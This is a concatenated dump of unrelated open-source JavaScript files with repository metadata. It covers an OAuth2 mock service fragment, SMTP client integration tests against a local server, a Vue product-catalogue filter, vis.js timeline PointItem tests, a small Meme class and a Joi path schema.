authorizeRedirectUri = { url }; this.emit(types_1.PublicEvents.BeforeAuthorizeRedirect, authorizeRedirectUri, req); res.redirect(url.href); }; this.userInfoHandler = (req, res) => { const userInfoResponse = { body: { sub: 'johndoe', }, statusCode: 200, }; this.emit(types_1.PublicEvents.BeforeUserinfo, userInfoResponse, req); res.status(userInfoResponse.statusCode).json(userInfoResponse.body); }; this.revokeHandler = (req, res) => { const revokeResponse = { body: null, statusCode: 200, }; this.emit(types_1.PublicEvents.BeforeRevoke, revokeResponse, req); return res.status(revokeResponse.statusCode).json(revokeResponse.body); }; __classPrivateFieldSet(this, _issuer, oauth2Issuer); __classPrivateFieldSet(this, _requestHandler, this.buildRequestHandler()); __classPrivateFieldSet(this, _nonce, {}); } get issuer() { return __classPrivateFieldGet(this, _issuer); } buildToken(signed, scopesOrTransform, expiresIn, req) { this.issuer.once(types_1.InternalEvents.BeforeSigning, (token) => { this.emit(types_1.PublicEvents.BeforeTokenSigning, token, req); }); return this.issuer.buildToken(signed, undefined, scopesOrTransform, expiresIn); } get requestHandler() { return __classPrivateFieldGet(this, _requestHandler); } } exports.OAuth2Service = OAuth2Service; _issuer = new WeakMap(), _requestHandler = new WeakMap(), _nonce = new WeakMap();
43.146552
155
0.53027
463ae7c4d927c902423efe61d94f6700aa394e2f
7,191
js
JavaScript
src/client-integration.js
dqmmpb/emailjs-smtp-client
08445663d40a6a1d57efd90f9b208de1fdc0337e
[ "MIT" ]
126
2016-01-06T14:36:02.000Z
2022-02-08T10:17:20.000Z
src/client-integration.js
dqmmpb/emailjs-smtp-client
08445663d40a6a1d57efd90f9b208de1fdc0337e
[ "MIT" ]
25
2016-04-13T07:27:15.000Z
2020-05-23T11:46:47.000Z
src/client-integration.js
dqmmpb/emailjs-smtp-client
08445663d40a6a1d57efd90f9b208de1fdc0337e
[ "MIT" ]
28
2016-01-19T14:18:54.000Z
2021-12-04T08:39:41.000Z
/* eslint-disable no-unused-expressions */ import SmtpClient from './client' import { SMTPServer } from 'smtp-server' describe('smtp-client data', function () { process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0' let smtp let port = 10001 let server before(function (done) { server = new SMTPServer({ port: port, authOptional: true }) server.listen(port, done) }) after(function (done) { server.close(done) }) beforeEach(function (done) { smtp = new SmtpClient('127.0.0.1', port, { useSecureTransport: false }) expect(smtp).to.exist smtp.connect() smtp.onidle = function () { done() } }) it('should fail with invalid MAIL FROM', function (done) { smtp.onerror = function (err) { expect(err.message).to.include('Bad sender address syntax') smtp.onclose = done } smtp.useEnvelope({ from: 'invalid', to: ['receiver@localhost'] }) }) it('should fail with empty recipients', function (done) { smtp.onerror = function (err) { expect(err.message).to.include('Can\'t send mail - no recipients defined') smtp.onclose = done } smtp.useEnvelope({ from: 'sender@example.com', to: [] }) }) it('should fail with invalid recipients', function (done) { smtp.onerror = function (err) { expect(err.message).to.include('Can\'t send mail - all recipients were rejected') smtp.onclose = done } smtp.useEnvelope({ from: 'sender@example.com', to: ['invalid'] }) }) it('should pass RCPT TO', function (done) { smtp.onready = function (failed) { expect(failed).to.deep.equal([]) smtp.onclose = done smtp.close() } smtp.useEnvelope({ from: 'sender@example.com', to: ['receiver@example.com'] }) }) it('should pass RCPT TO with some failures', function (done) { smtp.onready = function (failed) { expect(failed).to.deep.equal(['invalid']) smtp.onclose = done smtp.close() } smtp.useEnvelope({ from: 'sender@example.com', to: ['invalid', 'receiver@example.com'] }) }) it('should succeed with DATA', function (done) { smtp.onidle = function () { smtp.onclose = done smtp.quit() } smtp.onready = function (failedRecipients) { expect(failedRecipients).to.be.empty smtp.send('Subject: test\r\n\r\nMessage body') smtp.end() } smtp.ondone = function (success) { expect(success).to.be.true } smtp.useEnvelope({ from: 'sender@localhost', to: ['receiver@localhost'] }) }) it('should not idle', function (done) { smtp.onidle = function () { // should not run expect(true).to.be.false } smtp.onready = function (failedRecipients) { expect(failedRecipients).to.be.empty smtp.send('Subject: test\r\n\r\nMessage body') smtp.end() } smtp.ondone = function (success) { expect(success).to.be.true smtp.onclose = done smtp.quit() } smtp.useEnvelope({ from: 'sender@localhost', to: ['receiver@localhost'] }) }) it('should timeout', function (done) { let errored = false smtp.onerror = function () { errored = true } smtp.onclose = function () { expect(errored).to.be.true done() } smtp.onready = function (failedRecipients) { expect(failedRecipients).to.be.empty // remove the ondata event to simulate 100% packet loss and make the socket time out after 10ms smtp.timeoutSocketLowerBound = 10 smtp.timeoutSocketMultiplier = 0 smtp.socket.ondata = function () { } smtp.send('Subject: test\r\n\r\nMessage body') // trigger write } smtp.onidle = smtp.ondone = function () { // should not happen expect(true).to.be.false } smtp.useEnvelope({ from: 'sender@localhost', to: ['receiver@localhost'] }) }) }) describe('smtp-client authentication', function () { let port = 10001 let server before(function (done) { server = new SMTPServer({ port: port, closeTimeout: 10, allowInsecureAuth: true, authMethods: ['PLAIN', 'LOGIN', 'XOAUTH2'], onAuth (auth, session, callback) { if (auth.method === 'PLAIN' && auth.username === 'abc' && auth.password === 'def') { callback(null, { user: 123 }) } else if (auth.method === 'LOGIN' && auth.username === 'abc' && auth.password === 'def') { callback(null, { user: 123 }) } else if (auth.method === 'XOAUTH2' && auth.username === 'abc' && auth.accessToken === 'def') { callback(null, { data: { status: '401', schemes: 'bearer mac', scope: 'my_smtp_access_scope_name' } }) } callback(new Error('wrong user')) } }) server.listen(port, done) }) after(function (done) { server.close(done) }) it('should authenticate with default method', function (done) { let smtp = new SmtpClient('127.0.0.1', port, { useSecureTransport: false, auth: { user: 'abc', pass: 'def' } }) expect(smtp).to.exist smtp.connect() smtp.onidle = function () { smtp.onclose = done setTimeout(() => { smtp.quit() }, 123) } }) it('should authenticate with AUTH LOGIN', function (done) { let smtp = new SmtpClient('127.0.0.1', port, { useSecureTransport: false, auth: { user: 'abc', pass: 'def' }, authMethod: 'LOGIN' }) expect(smtp).to.exist smtp.connect() smtp.onidle = function () { smtp.onclose = done setTimeout(() => { smtp.quit() }, 123) } }) it('should fail with invalid credentials', function (done) { let smtp = new SmtpClient('127.0.0.1', port, { useSecureTransport: false, auth: { user: 'abcd', pass: 'defe' }, authMethod: 'LOGIN' }) expect(smtp).to.exist smtp.connect() smtp.onerror = function () { smtp.onclose = done } }) }) describe('smtp-client STARTTLS encryption', function () { let port = 10001 let server before(function (done) { server = new SMTPServer({ port: port, authOptional: true }) server.listen(port, done) }) after(function (done) { server.close(done) }) it('should connect insecurely', function (done) { let smtp = new SmtpClient('127.0.0.1', port, { useSecureTransport: false, ignoreTLS: true }) expect(smtp).to.exist smtp.connect() smtp.onidle = function () { expect(smtp._secureMode).to.be.false smtp.onclose = done setTimeout(() => { smtp.quit() }, 123) } }) it('should connect securely', function (done) { let smtp = new SmtpClient('127.0.0.1', port, { useSecureTransport: false }) expect(smtp).to.exist smtp.connect() smtp.onidle = function () { expect(smtp._secureMode).to.be.true smtp.onclose = done setTimeout(() => { smtp.quit() }, 123) } }) })
22.901274
104
0.572938
463b0d37545f49a6eae5cb51ed8bce306449faf0
477
js
JavaScript
reststatic/src/server/test/index.tape.js
hillar/playground
8ec5c22784684398f6df89a91287a9fdb7ea9ace
[ "MIT" ]
1
2018-07-02T13:49:34.000Z
2018-07-02T13:49:34.000Z
reststatic/src/server/test/index.tape.js
hillar/playground
8ec5c22784684398f6df89a91287a9fdb7ea9ace
[ "MIT" ]
null
null
null
reststatic/src/server/test/index.tape.js
hillar/playground
8ec5c22784684398f6df89a91287a9fdb7ea9ace
[ "MIT" ]
null
null
null
process.alias = 'test src/server/src/index.js' test = require('tape') test('src/server/src/index.js', function (t) { const server = require('../src') /* const myserver = server.createServer({ router: { whatever:{ get:()=>{} } } }) */ t.throws(() => { const myserver = server.createServer()}) t.throws(() => { const myserver = server.createServer({})}) t.end() })
23.85
65
0.484277
463b6d4bf724feecd8691f36401e4b3bbf26d279
11,572
js
JavaScript
src/app.js
AndreyPetko/kaleydoskop
aac9f3cc51b05d0880e7fe32ddac40b006631b33
[ "MIT" ]
null
null
null
src/app.js
AndreyPetko/kaleydoskop
aac9f3cc51b05d0880e7fe32ddac40b006631b33
[ "MIT" ]
null
null
null
src/app.js
AndreyPetko/kaleydoskop
aac9f3cc51b05d0880e7fe32ddac40b006631b33
[ "MIT" ]
null
null
null
import Vue from 'vue'; import axios from 'axios'; import './helper'; import LocationParser from '../src/services/LocationParser'; new Vue({ el: '#root', data: { products: [], filteredProducts: [], activeProducts: [], perPage: 24, page: 1, minPrice: 0, maxPrice: 100000, subcategories: [], categoryName: '', currentSubcategory: '', attributes: [], attributesList: [], currentAttributes: [], brands: [], currentBrands: [], sortBy: 'name', showImageBlock: true, showSubcategories: true, offset: 5 }, computed: { pages() { let countPages = parseInt(this.filteredProducts.length / this.perPage); if (this.filteredProducts.length % this.perPage !== 0) { countPages += 1; } return countPages; }, showPages() { let finishAdd = this.pages - this.page <= this.offset ? this.offset * 2 - (this.pages - this.page) : this.offset; let add = this.page <= this.offset ? this.offset * 2 - this.page : this.offset; let start = this.page - finishAdd < 1 ? 1 : this.page - finishAdd; let stop = this.page + add > this.pages ? this.pages : this.page + add; let pages = []; for (let i = start; i <= stop; i++) { pages.push(i); } return pages; } }, watch: { minPrice(val, oldVal) { this.filter(); }, maxPrice(val, oldVal) { this.filter(); }, currentSubcategory(val, oldVal) { this.filter(); }, currentAttributes(val, oldVal) { this.filter(); }, currentBrands(val, oldVal) { this.filter(); }, perPage(val, oldVal) { this.filter(); }, sortBy(val, oldVal) { const {field, desc} = this.getSortFieldAndDesc(val); this.sortProducts(field, desc); } }, methods: { getType() { let url = window.location.href; let arr = url.split('/'); if(arr[3] === 'brend-products') { return 'brend'; } return 'category'; }, getData() { const categoryUrl = this.getCategoryUrl(); const type = this.getType(); const url = '/filter/category-data/' + categoryUrl + '/' + type; const vm = this; return axios.get(url) .then(result => { const data = result.data; vm.categoryName = data.name; vm.products = data.products; vm.filteredProducts = data.products; vm.subcategories = data.subcategories; vm.attributes = data.attributes; vm.attributesList = data.attributesList; vm.brands = data.brands; vm.currentSubcategory = this.getSubcategoryId(); console.log(vm.currentSubcategory); vm.setActiveProducts(); vm.filter(); }) .catch(result => { console.log(result); }); }, addToWishlist(product, id, wish) { axios.get(`/ajax/add-wish/?productid=${id}`) .then(() => { product.wish = !wish; }); }, showImage(image) { document.querySelector('.show-images').style.display = 'block'; document.querySelector('.show-images-content').style.display = 'block'; let imageItem = document.createElement('img'); imageItem.src = this.getSrc(image); document.querySelector('.show-images-main').innerHTML = ''; document.querySelector('.show-images-main').appendChild(imageItem); document.querySelector('.show-images-right').style.display = 'none'; document.querySelector('.show-images-left').style.display = 'none'; document.querySelector('.show-images-name-block').style.display = 'none'; }, addToCart(id) { axios.get(`/ajax/add-to-cart/?id=${id}`) .then(() => { swal('Товар успешно добавлен в корзину'); }); }, getLink(url) { return `/product/${url}`; }, resetFilter() { this.currentAttributes = []; this.currentBrands = []; let list = document.querySelectorAll('.filter-checkbox input'); [].forEach.call(list, function (item) { item.checked = false; }); }, getCategoryUrl() { let url = window.location.href; let arr = url.split('/'); let categoryUrl = arr[arr.length - 1]; return categoryUrl.split('?')[0]; }, getSubcategoryId() { let tmp = []; let result = ''; window.location.search .substr(1) .split("&") .forEach(function (item) { tmp = item.split("="); if (tmp[0] === 'subcategory') result = decodeURIComponent(tmp[1]); }); return result === '' ? '' : parseInt(result); }, setActiveProducts() { const start = this.perPage * (this.page - 1); this.activeProducts = this.filteredProducts.slice(parseInt(start), parseInt(start) + parseInt(this.perPage)); }, getSrc(image) { if (image === null) { return '/site/images/zaglushka.png'; } return `/product_images/${image}`; }, setPage(page) { this.page = page; this.setActiveProducts(); document.getElementsByTagName('body')[0].scrollTop = 300; }, noProducts() { return !this.notLoad() && this.activeProducts.length === 0; }, notLoad() { return this.products.length === 0; }, setSubcategory(id) { this.currentSubcategory = id; }, attribyteNameById(id) { return this.attributesList[id]; }, setCurrentAttribute(attributeId, value) { if (event.target.checked) { this.currentAttributes.push({ id: attributeId, value: value }); } else { this.currentAttributes.forEach((item, i, arr) => { if (item.value === value && item.id === attributeId) { this.currentAttributes.splice(i, 1); } }); } }, setCurrentBrand(brandId) { if (event.target.checked) { this.currentBrands.push(brandId); } else { this.currentBrands.remove(brandId); } }, getSortFieldAndDesc(val = null) { if (val === null) { val = this.sortBy; } let descString = val.slice(-4); let desc = descString === 'Desc'; let field; if (desc === false) { field = val; } else { field = val.substring(0, val.length - 4); } return { 'field': field, 'desc': desc }; }, filter() { const needFilterByAttribute = this.currentAttributes.length !== 0; const needFilterByBrand = this.currentBrands.length !== 0; let addProduct; this.page = 1; let filterProducts = []; let currentAttrs = {}; this.currentAttributes.forEach((item, i, list) => { if (typeof currentAttrs[item.id] === 'undefined') { currentAttrs[item.id] = []; } currentAttrs[item.id].push(item.value); }); const attrCount = Object.keys(currentAttrs).length; this.products.forEach((item, i, arr) => { if (item.price < parseInt(this.minPrice) || item.price > parseInt(this.maxPrice)) { return; } if (this.currentSubcategory !== '' && item.subcats.indexOf(this.currentSubcategory) === -1) { return; } if (needFilterByAttribute) { addProduct = false; let approveAttrCount = 0; for (let index in currentAttrs) { let addAttr = false; if (!currentAttrs.hasOwnProperty(index)) { return; } let attr = currentAttrs[index]; attr.forEach((attrValue, i, arr) => { Object.keys(item.attributes).forEach((attributeId, k, productsAttrs) => { const value = item.attributes[attributeId]; if (index === attributeId && attrValue === value) { addAttr = true; } }) }); if (addAttr === true) { approveAttrCount++; } } if (approveAttrCount === attrCount) { addProduct = true; } if (addProduct === false) { return; } } if (needFilterByBrand) { addProduct = false; this.currentBrands.forEach((brand, k, brands) => { if (brand === item.brand) { addProduct = true; } }); if (addProduct === false) { return; } } filterProducts.push(item); }); this.filteredProducts = filterProducts; let {field, desc} = this.getSortFieldAndDesc(); this.sortProducts(field, desc); this.setActiveProducts(); }, sortProducts(field, desc) { let products = this.filteredProducts; if (desc === false) { products.sort((a, b) => { return (a[field] > b[field]) ? 1 : ((b[field] > a[field]) ? -1 : 0); }); } else { products.sort((a, b) => { return (a[field] < b[field]) ? 1 : ((b[field] < a[field]) ? -1 : 0); }); } this.filteredProducts = products; this.setActiveProducts(); } }, created() { this.getData().then(() => { const subcategory = LocationParser.get('subcategory'); if(subcategory === null) { return; } this.currentSubcategory = parseInt(subcategory); LocationParser.clearParams(); }); } });
31.791209
125
0.439855
463c3f9a5353b335ec3f00f40acca2c2a4a36793
12,875
js
JavaScript
20211SVAC/G05/TytusDS/vis-4.21.0/test/PointItem.test.js
Alexz330/tytusds
b555b3cc4fd97a43aa2bc27c4e1dcfc79a1d1352
[ "MIT" ]
6,495
2015-01-01T07:58:38.000Z
2022-03-26T10:53:06.000Z
20211SVAC/G05/TytusDS/vis-4.21.0/test/PointItem.test.js
Alexz330/tytusds
b555b3cc4fd97a43aa2bc27c4e1dcfc79a1d1352
[ "MIT" ]
3,611
2015-01-01T11:22:14.000Z
2019-07-28T13:37:37.000Z
20211SVAC/G05/TytusDS/vis-4.21.0/test/PointItem.test.js
Alexz330/tytusds
b555b3cc4fd97a43aa2bc27c4e1dcfc79a1d1352
[ "MIT" ]
1,817
2015-01-04T02:31:38.000Z
2022-03-29T12:56:44.000Z
var assert = require('assert'); var vis = require('../dist/vis'); var jsdom = require('mocha-jsdom'); var moment = vis.moment; var timeline = vis.timeline; var PointItem = require("../lib/timeline/component/item/PointItem"); var Range = timeline.Range; var TestSupport = require('./TestSupport'); describe('Timeline PointItem', function () { jsdom(); var now = moment(); it('should initialize with minimal data', function() { var pointItem = new PointItem({start: now.toDate()}, null, null); assert.equal(pointItem.props.content.height, 0); assert.deepEqual(pointItem.data.start, now.toDate()); }); it('should have a default width of 0', function() { var pointItem = new PointItem({start: now}, null, null); assert.equal(pointItem.getWidthRight(), 0); assert.equal(pointItem.getWidthLeft(), 0); }); it('should error if there is missing data', function () { assert.throws(function () { new PointItem({}, null, null)}, Error); }); it('should be visible if the range is during', function() { var range = new Range(TestSupport.buildSimpleTimelineRangeBody()); range.start = now.clone().add(-1, 'second'); range.end = range.start.clone().add(1, 'hour'); var pointItem = new PointItem({start: now.toDate()}, null, null); assert(pointItem.isVisible(range)); }); it('should not be visible if the range is after', function() { var range = new Range(TestSupport.buildSimpleTimelineRangeBody()); range.start = now.clone().add(1, 'second'); range.end = range.start.clone().add(1, 'hour'); var pointItem = new PointItem({start: now.toDate()}, null, null); assert(!pointItem.isVisible(range)); }); it('should not be visible if the range is before', function() { var now = moment(); var range = new Range(TestSupport.buildSimpleTimelineRangeBody()); range.end = now.clone().add(-1, 'second'); range.start = range.end.clone().add(-1, 'hour'); var pointItem = new PointItem({start: now.toDate()}, null, null); assert(!pointItem.isVisible(range)); }); it('should be visible for a "now" point with a default range', function() { var range = new Range(TestSupport.buildSimpleTimelineRangeBody()); var pointItem = new PointItem({start: now.toDate()}, null, null); assert(pointItem.isVisible(range)); }); describe('should redraw() and then', function () { it('not be dirty', function() { var pointItem = new PointItem({start: now.toDate()}, null, {editable: false}); pointItem.setParent(TestSupport.buildMockItemSet()); assert(pointItem.dirty); pointItem.redraw(); assert(!pointItem.dirty); }); it('have point attached to its parent', function() { var pointItem = new PointItem({start: now.toDate()}, null, {editable: false}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); assert(!parent.dom.foreground.hasChildNodes()); pointItem.redraw(); assert(parent.dom.foreground.hasChildNodes()); }); describe('have the correct classname for', function() { it('a non-editable item', function() { var pointItem = new PointItem({start: now.toDate(), editable: false}, null, {editable: false}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); pointItem.redraw(); assert.equal(pointItem.dom.dot.className, "vis-item vis-dot vis-readonly"); assert.equal(pointItem.dom.point.className, "vis-item vis-point vis-readonly"); }); it('an editable item (with object option)', function() { var pointItem = new PointItem({start: now.toDate()}, null, {editable: {updateTime: true, updateGroup: false}}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); pointItem.redraw(); assert.equal(pointItem.dom.dot.className, "vis-item vis-dot vis-editable"); assert.equal(pointItem.dom.point.className, "vis-item vis-point vis-editable"); }); it('an editable item (with boolean option)', function() { var pointItem = new PointItem({start: now.toDate()}, null, {editable: true}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); pointItem.redraw(); assert.equal(pointItem.dom.dot.className, "vis-item vis-dot vis-editable"); assert.equal(pointItem.dom.point.className, "vis-item vis-point vis-editable"); }); it('an editable:false override item (with boolean option)', function() { var pointItem = new PointItem({start: now.toDate(), editable: false}, null, {editable: true}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); pointItem.redraw(); assert.equal(pointItem.dom.dot.className, "vis-item vis-dot vis-readonly"); assert.equal(pointItem.dom.point.className, "vis-item vis-point vis-readonly"); }); it('an editable:true override item (with boolean option)', function() { var pointItem = new PointItem({start: now.toDate(), editable: true}, null, {editable: false}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); pointItem.redraw(); assert.equal(pointItem.dom.dot.className, "vis-item vis-dot vis-editable"); assert.equal(pointItem.dom.point.className, "vis-item vis-point vis-editable"); }); it('an editable:false override item (with object option)', function() { var pointItem = new PointItem({start: now.toDate(), editable: false}, null, {editable: {updateTime: true, updateGroup: false}}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); pointItem.redraw(); assert.equal(pointItem.dom.dot.className, "vis-item vis-dot vis-readonly"); assert.equal(pointItem.dom.point.className, "vis-item vis-point vis-readonly"); }); it('an editable:false override item (with object option for group change)', function() { var pointItem = new PointItem({start: now.toDate(), editable: false}, null, {editable: {updateTime: false, updateGroup: true}}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); pointItem.redraw(); assert.equal(pointItem.dom.dot.className, "vis-item vis-dot vis-readonly"); assert.equal(pointItem.dom.point.className, "vis-item vis-point vis-readonly"); }); it('an editable:true override item (with object option)', function() { var pointItem = new PointItem({start: now.toDate(), editable: true}, null, {editable: {updateTime: false, updateGroup: false}}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); pointItem.redraw(); assert.equal(pointItem.dom.dot.className, "vis-item vis-dot vis-editable"); assert.equal(pointItem.dom.point.className, "vis-item vis-point vis-editable"); }); it('an editable:true non-override item (with object option)', function() { var pointItem = new PointItem({start: now.toDate(), editable: true}, null, {editable: {updateTime: false, updateGroup: false, overrideItems: true}}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); pointItem.redraw(); assert.equal(pointItem.dom.dot.className, "vis-item vis-dot vis-readonly"); assert.equal(pointItem.dom.point.className, "vis-item vis-point vis-readonly"); }); it('an editable:false non-override item (with object option)', function() { var pointItem = new PointItem({start: now.toDate(), editable: false}, null, {editable: {updateTime: true, updateGroup: false, overrideItems: true}}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); pointItem.redraw(); assert.equal(pointItem.dom.dot.className, "vis-item vis-dot vis-editable"); assert.equal(pointItem.dom.point.className, "vis-item vis-point vis-editable"); }); it('an editable: {updateTime} override item (with boolean option)', function() { var pointItem = new PointItem({start: now.toDate(), editable: {updateTime: true}}, null, {editable: true}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); pointItem.redraw(); assert.equal(pointItem.editable.updateTime, true); assert.equal(pointItem.editable.updateGroup, undefined); assert.equal(pointItem.editable.remove, undefined); }); it('an editable: {updateTime} override item (with boolean option false)', function() { var pointItem = new PointItem({start: now.toDate(), editable: {updateTime: true}}, null, {editable: false}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); pointItem.redraw(); assert.equal(pointItem.editable.updateTime, true); assert.equal(pointItem.editable.updateGroup, undefined); assert.equal(pointItem.editable.remove, undefined); }); it('an editable: {updateGroup} override item (with boolean option)', function() { var pointItem = new PointItem({start: now.toDate(), editable: {updateGroup: true}}, null, {editable: true}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); pointItem.redraw(); assert.equal(pointItem.editable.updateTime, undefined); assert.equal(pointItem.editable.updateGroup, true); assert.equal(pointItem.editable.remove, undefined); }); }); // have the correct classname for describe('have the correct property for', function() { it('an editable: {updateGroup} override item (with boolean option false)', function() { var pointItem = new PointItem({start: now.toDate(), editable: {updateGroup: true}}, null, {editable: false}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); pointItem.redraw(); assert.equal(pointItem.editable.updateTime, undefined); assert.equal(pointItem.editable.updateGroup, true); assert.equal(pointItem.editable.remove, undefined); }); it('an editable: {remove} override item (with boolean option)', function() { var pointItem = new PointItem({start: now.toDate(), editable: {remove: true}}, null, {editable: true}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); pointItem.redraw(); assert.equal(pointItem.editable.updateTime, undefined); assert.equal(pointItem.editable.updateGroup, undefined); assert.equal(pointItem.editable.remove, true); }); it('an editable: {remove} override item (with boolean option false)', function() { var pointItem = new PointItem({start: now.toDate(), editable: {remove: true}}, null, {editable: false}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); pointItem.redraw(); assert.equal(pointItem.editable.updateTime, undefined); assert.equal(pointItem.editable.updateGroup, undefined); assert.equal(pointItem.editable.remove, true); }); it('an editable: {updateTime, remove} override item (with boolean option)', function() { var pointItem = new PointItem({start: now.toDate(), editable: {updateTime: true, remove: true}}, null, {editable: true}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); pointItem.redraw(); assert.equal(pointItem.editable.updateTime, true); assert.equal(pointItem.editable.updateGroup, undefined); assert.equal(pointItem.editable.remove, true); }); it('an editable: {updateTime, remove} override item (with boolean option false)', function() { var pointItem = new PointItem({start: now.toDate(), editable: {updateTime: true, remove: true}}, null, {editable: false}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); pointItem.redraw(); assert.equal(pointItem.editable.updateTime, true); assert.equal(pointItem.editable.updateGroup, undefined); assert.equal(pointItem.editable.remove, true); }); it('an editable: {updateTime, updateGroup, remove} override item (with boolean option)', function() { var pointItem = new PointItem({start: now.toDate(), editable: {updateTime: true, updateGroup: true, remove: true}}, null, {editable: true}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); pointItem.redraw(); assert.equal(pointItem.editable.updateTime, true); assert.equal(pointItem.editable.updateGroup, true); assert.equal(pointItem.editable.remove, true); }); it('an editable: {updateTime, updateGroup, remove} override item (with boolean option false)', function() { var pointItem = new PointItem({start: now.toDate(), editable: {updateTime: true, updateGroup: true, remove: true}}, null, {editable: false}); var parent = TestSupport.buildMockItemSet(); pointItem.setParent(parent); pointItem.redraw(); assert.equal(pointItem.editable.updateTime, true); assert.equal(pointItem.editable.updateGroup, true); assert.equal(pointItem.editable.remove, true); }); }); // have the correct property for }); // should redraw() and then }); // Timeline PointItem
45.334507
153
0.700117
463ce7528cb5efe652de1369ffb10af7c4b55826
659
js
JavaScript
assets/js/Meme.js
MaikeMota/MemeGenerator
0361034664052d0607c7e174ddf594b8273c7eee
[ "MIT" ]
1
2020-11-09T18:10:49.000Z
2020-11-09T18:10:49.000Z
assets/js/Meme.js
MaikeMota/MemeGenerator
0361034664052d0607c7e174ddf594b8273c7eee
[ "MIT" ]
null
null
null
assets/js/Meme.js
MaikeMota/MemeGenerator
0361034664052d0607c7e174ddf594b8273c7eee
[ "MIT" ]
null
null
null
class Meme { constructor(image, topLineText, bottomLine) { this.id = new Date().getTime(); this.image = image; this.topLineText = topLineText; this.bottomLineText = bottomLineText; } toJSON() { return JSON.stringify({ id: this.id, image: this.image.src, topLineText: this.topLineText, bottomLineText: this.bottomLineText }); } static parser(key, value) { if (key === 'image') { let image = new Image(); image.src = value; return image; } else { return value; } } }
23.535714
49
0.502276
463dec145b20e4acf50c2e016468bc08e9a74bdb
164
js
JavaScript
src/schema/pathsSchema.js
Teagan42/Deepthought-Routing
caa3b4add4855f367dee730ea29130c598fb4479
[ "MIT" ]
3
2017-02-14T15:52:16.000Z
2020-01-23T06:46:01.000Z
src/schema/pathsSchema.js
Teagan42/Deepthought-Routing
caa3b4add4855f367dee730ea29130c598fb4479
[ "MIT" ]
16
2017-01-19T21:58:48.000Z
2017-02-24T21:30:49.000Z
src/schema/pathsSchema.js
Teagan42/Deepthought-Routing
caa3b4add4855f367dee730ea29130c598fb4479
[ "MIT" ]
2
2017-02-13T23:05:11.000Z
2020-01-23T06:46:00.000Z
"use strict"; const Joi = require('joi'); const pathItemSchema = require('./pathItemSchema'); module.exports = Joi.object() .pattern(/^\/.*/, pathItemSchema);
18.222222
51
0.670732